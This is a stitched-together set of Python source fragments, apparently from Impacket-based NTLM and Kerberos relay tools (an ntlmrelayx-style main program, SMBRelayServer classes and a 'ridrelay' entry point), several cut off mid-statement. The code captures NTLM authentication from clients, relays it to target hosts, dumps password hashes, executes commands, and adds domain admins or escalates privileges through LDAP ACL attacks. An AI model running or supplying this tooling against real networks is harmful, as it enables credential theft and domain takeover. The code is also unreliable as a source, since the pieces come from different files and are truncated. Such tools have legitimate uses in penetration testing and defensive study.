parser.add_argument("-h", "--help", action="help", help='show this help message and exit') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument( '-t', "--target", action='store', metavar='TARGET', help='Target to attack, ' 'since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use.' ) parser.add_argument('-tf', action='store', metavar='TARGETSFILE', help='File that contains targets by hostname or ' 'full URL, one per line') parser.add_argument( '-w', action='store_true', help='Watch the target file for changes and update target list ' 'automatically (only valid with -tf)') # Interface address specification parser.add_argument('-ip', '--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' 'bind SMB and HTTP servers', default='') parser.add_argument( '-r', action='store', metavar='SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') parser.add_argument( '-l', '--lootdir', action='store', type=str, required=False, metavar='LOOTDIR', default='.', help='Loot ' 'directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).' ) parser.add_argument( '-f', '--format', default='ccache', choices=['ccache', 'kirbi'], action='store', help='Format to store tickets in. Valid: ccache (Impacket) or kirbi' ' (Mimikatz format) default: ccache') parser.add_argument( '-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' 'map the result with ' 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py ' 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) parser.add_argument('-no-smb2support', action="store_false", default=False, help='Disable SMB2 Support') parser.add_argument( '-wh', '--wpad-host', action='store', help='Enable serving a WPAD file for Proxy Authentication attack, ' 'setting the proxy host to the one supplied.') parser.add_argument( '-wa', '--wpad-auth-num', action='store', help= 'Prompt for authentication N times for clients without MS16-077 installed ' 'before serving a WPAD file.') parser.add_argument('-6', '--ipv6', action='store_true', help='Listen on both IPv6 and IPv4') # Authentication arguments group = parser.add_argument_group( 'Kerberos Keys (of your account with unconstrained delegation)') group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password') group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password') group.add_argument( '-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.' 'Only required if specifying password instead of keys.') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument( '-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter' ) #SMB arguments smboptions = parser.add_argument_group("SMB attack options") smboptions.add_argument( '-e', action='store', required=False, metavar='FILE', help='File to execute on the target system. ' 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)' ) smboptions.add_argument( '-c', action='store', type=str, required=False, metavar='COMMAND', help='Command to execute on ' 'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same ' 'directory).') smboptions.add_argument( '--enum-local-admins', action='store_true', required=False, help= 'If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)' ) #LDAP options ldapoptions = parser.add_argument_group("LDAP attack options") ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') ldapoptions.add_argument( '--no-validate-privs', action='store_false', required=False, help= 'Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks' ) ldapoptions.add_argument( '--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') ldapoptions.add_argument('--add-computer', action='store_true', required=False, help='Attempt to add a new computer account') ldapoptions.add_argument( '--delegate-access', action='store_true', required=False, help= 'Delegate access on relayed computer account to the specified account') try: options = parser.parse_args() except Exception as e: logging.error(str(e)) sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) logging.getLogger('impacket.smbserver').setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) # Let's register the protocol clients we have # ToDo: Do this better somehow from lib.clients import PROTOCOL_CLIENTS if options.codec is not None: codec = options.codec else: codec = sys.getdefaultencoding() if options.target is not None: logging.info("Running in attack mode to single host") mode = 'ATTACK' targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS) else: if options.tf is not None: #Targetfile specified logging.info("Running in attack mode to hosts in targetfile") targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS) mode = 'ATTACK' else: logging.info( "Running in export mode (all tickets will be saved to disk)") targetSystem = None mode = 'EXPORT' if options.r is not None: logging.info("Running HTTP server in redirect mode") if targetSystem is not None and options.w: watchthread = TargetsFileWatcher(targetSystem) watchthread.start() threads = set() c = start_servers(options, threads) print("") logging.info("Servers started, waiting for connections") try: sys.stdin.read() except KeyboardInterrupt: pass else: pass for s in threads: del s sys.exit(0)
class SMBRelayServer(Thread): def __init__(self,config): Thread.__init__(self) self.daemon = True self.server = 0 #Config object self.config = config #Current target IP self.target = None #Targets handler self.targetprocessor = self.config.target #Username we auth as gets stored here later self.authUser = None self.proxyTranslator = None # Here we write a mini config for the server smbConfig = configparser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global','log_file','smb.log') smbConfig.set('global','credentials_file','') if self.config.smb2support is True: smbConfig.set("global", "SMB2Support", "True") else: smbConfig.set("global", "SMB2Support", "False") if self.config.outputFile is not None: smbConfig.set('global','jtr_dump_path',self.config.outputFile) # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path','') # Change address_family to IPv6 if this is configured if self.config.ipv6: SMBSERVER.address_family = socket.AF_INET6 # changed to dereference configuration interfaceIp self.server = SMBSERVER((config.interfaceIp,445), config_parser = smbConfig) logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) self.server.processConfigFile() self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX) self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate) self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup) # Let's use the SMBServer Connection dictionary to keep track of our client connections as well #TODO: See if this is the best way to accomplish this # changed to dereference configuration interfaceIp self.server.addConnection('SMBRelay', config.interfaceIp, 445) ### SMBv2 Part ################################################################# def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): connData = smbServer.getConnectionData(connId, checkStatus=False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) self.target = self.targetprocessor.getTarget() ############################################################# # SMBRelay # Get the data for all connections smbData = smbServer.getConnectionData('SMBRelay', False) if self.target in smbData: # Remove the previous connection and use the last one smbClient = smbData[self.target]['SMBClient'] del smbClient del smbData[self.target] LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: smbData[self.target] = {} smbData[self.target]['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData('SMBRelay', smbData) smbServer.setConnectionData(connId, connData) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: respPacket['MessageID'] = 0 respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED if isSMB1 is True: # Let's first parse the packet to see if the client supports SMB2 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) dialects = SMBCommand['Data'].split('\x02') if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 else: # Client does not support SMB2 fallbacking raise Exception('SMB2 not supported, fallbacking') else: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 respSMBCommand['ServerGuid'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) respSMBCommand['Capabilities'] = 0 respSMBCommand['MaxTransactSize'] = 65536 respSMBCommand['MaxReadSize'] = 65536 respSMBCommand['MaxWriteSize'] = 65536 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime())) respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime())) respSMBCommand['SecurityBufferOffset'] = 0x80 blob = SPNEGO_NegTokenInit() blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] respSMBCommand['Buffer'] = blob.getData() respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], STATUS_SUCCESS def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B',securityBlob[0])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: # Nope, do we know it? if mechType in MechTypes: mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED elif struct.unpack('B',securityBlob[0])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = smbData[self.target]['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data connData['Uid'] = random.randint(1,0xffffffff) connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x02: # CHALLENGE_MESSAGE raise Exception('Challenge Message raise, not implemented!') elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = smbData[self.target]['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': # For some attacks it is important to know the authenticated username, so we store it self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = str(securityBlob) securityBlob = respToken2.getData() clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: #Log this target as processed for this client self.targetprocessor.logTarget(self.target) LOG.error("Authenticating against %s://%s as %s\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) connData['Authenticated'] = True self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode ################################################################################ ### SMBv1 Part ################################################################# def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) #TODO: Check if a cache is better because there is no way to know which target was selected for this victim # except for relying on the targetprocessor selecting the same target unless a relay was already done self.target = self.targetprocessor.getTarget() ############################################################# # SMBRelay # Get the data for all connections smbData = smbServer.getConnectionData('SMBRelay', False) if self.target in smbData: # Remove the previous connection and use the last one smbClient = smbData[self.target]['SMBClient'] del smbClient del smbData[self.target] LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True #Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: smbData[self.target] = {} smbData[self.target]['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData('SMBRelay', smbData) smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) ############################################################# def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = smbData[self.target]['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client,token) except Exception as e: # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = smbData[self.target]['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff LOG.error("Authenticating against %s://%s as %s\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.logTarget(self.target) client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name'])) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) client = smbData[self.target]['SMBClient'] _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Finish client's connection #client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])) self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True) ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode ################################################################################ #Initialize the correct client for the relay target def init_client(self,extSec): if self.target.scheme.upper() in self.config.protocolClients: client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec) client.initConnection() else: raise Exception('Protocol Client for %s not found!' % self.target.scheme) return client def do_ntlm_negotiate(self,client,token): #Since the clients all support the same operations there is no target protocol specific code needed for now return client.sendNegotiate(token) def do_ntlm_auth(self,client,SPNEGO_token,challenge): #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB clientResponse, errorCode = client.sendAuth(str(SPNEGO_token), challenge) return clientResponse, errorCode def do_attack(self,client): #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties # Check if SOCKS is enabled and if we support the target scheme if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes: if self.config.runSocks is True: # Pass all the data to the socksplugins proxy activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(), self.authUser, client, client.sessionData)) return # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks if self.target.scheme.upper() in self.config.attacks: # We have an attack.. go for it clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser) clientThread.start() else: LOG.error('No attack configured for %s' % self.target.scheme.upper()) def _start(self): self.server.daemon_threads=True self.server.serve_forever() LOG.info('Shutting down SMB Server') self.server.server_close() def run(self): LOG.info("Setting up SMB Server") self._start()
'target to relay TO') parser.add_argument('--out-file', '-o', metavar='OUTFILE', help='The file to output usernames to.') args = parser.parse_args() logger.init() print 'ridrelay v0.2 - Get domain usernames by relaying low priv creds!\n' logging.getLogger().setLevel(logging.INFO) logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) codec = sys.getdefaultencoding() targetSystem = TargetsProcessor(singleTarget=args.target, protocolClients=PROTOCOL_CLIENTS) threads = set() for server in RELAY_SERVERS: # Set up config c = NTLMRelayxConfig() c.setProtocolClients(PROTOCOL_CLIENTS) c.setRunSocks(False, None) c.setTargets(targetSystem) c.setEncoding(codec) c.setAttacks(ATTACKS) c.setOutputFile(args.out_file) c.setSMB2Support(True) c.setInterfaceIp('') if server == HTTPRelayServer:
class SMBRelayServer(Thread): def __init__(self, config): Thread.__init__(self) self.daemon = True self.server = 0 #Config object self.config = config #Current target IP self.target = None #Targets handler self.targetprocessor = self.config.target #Username we auth as gets stored here later self.authUser = None self.proxyTranslator = None # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global', 'server_name', 'server_name') smbConfig.set('global', 'server_os', 'UNIX') smbConfig.set('global', 'server_domain', 'WORKGROUP') smbConfig.set('global', 'log_file', 'smb.log') smbConfig.set('global', 'credentials_file', '') if self.config.smb2support is True: smbConfig.set("global", "SMB2Support", "True") else: smbConfig.set("global", "SMB2Support", "False") if self.config.outputFile is not None: smbConfig.set('global', 'jtr_dump_path', self.config.outputFile) # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$', 'comment', '') smbConfig.set('IPC$', 'read only', 'yes') smbConfig.set('IPC$', 'share type', '3') smbConfig.set('IPC$', 'path', '') # Change address_family to IPv6 if this is configured if self.config.ipv6: SMBSERVER.address_family = socket.AF_INET6 # changed to dereference configuration interfaceIp self.server = SMBSERVER((config.interfaceIp, 445), config_parser=smbConfig) logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) self.server.processConfigFile() self.origSmbComNegotiate = self.server.hookSmbCommand( smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) self.origSmbSessionSetupAndX = self.server.hookSmbCommand( smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX) self.origSmbNegotiate = self.server.hookSmb2Command( smb3.SMB2_NEGOTIATE, self.SmbNegotiate) self.origSmbSessionSetup = self.server.hookSmb2Command( smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup) # Let's use the SMBServer Connection dictionary to keep track of our client connections as well #TODO: See if this is the best way to accomplish this # changed to dereference configuration interfaceIp self.server.addConnection('SMBRelay', config.interfaceIp, 445) ### SMBv2 Part ################################################################# def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): connData = smbServer.getConnectionData(connId, checkStatus=False) LOG.info("SMBD: Received connection from %s" % (connData['ClientIP'])) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: respPacket['MessageID'] = 0 respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED if isSMB1 is True: # Let's first parse the packet to see if the 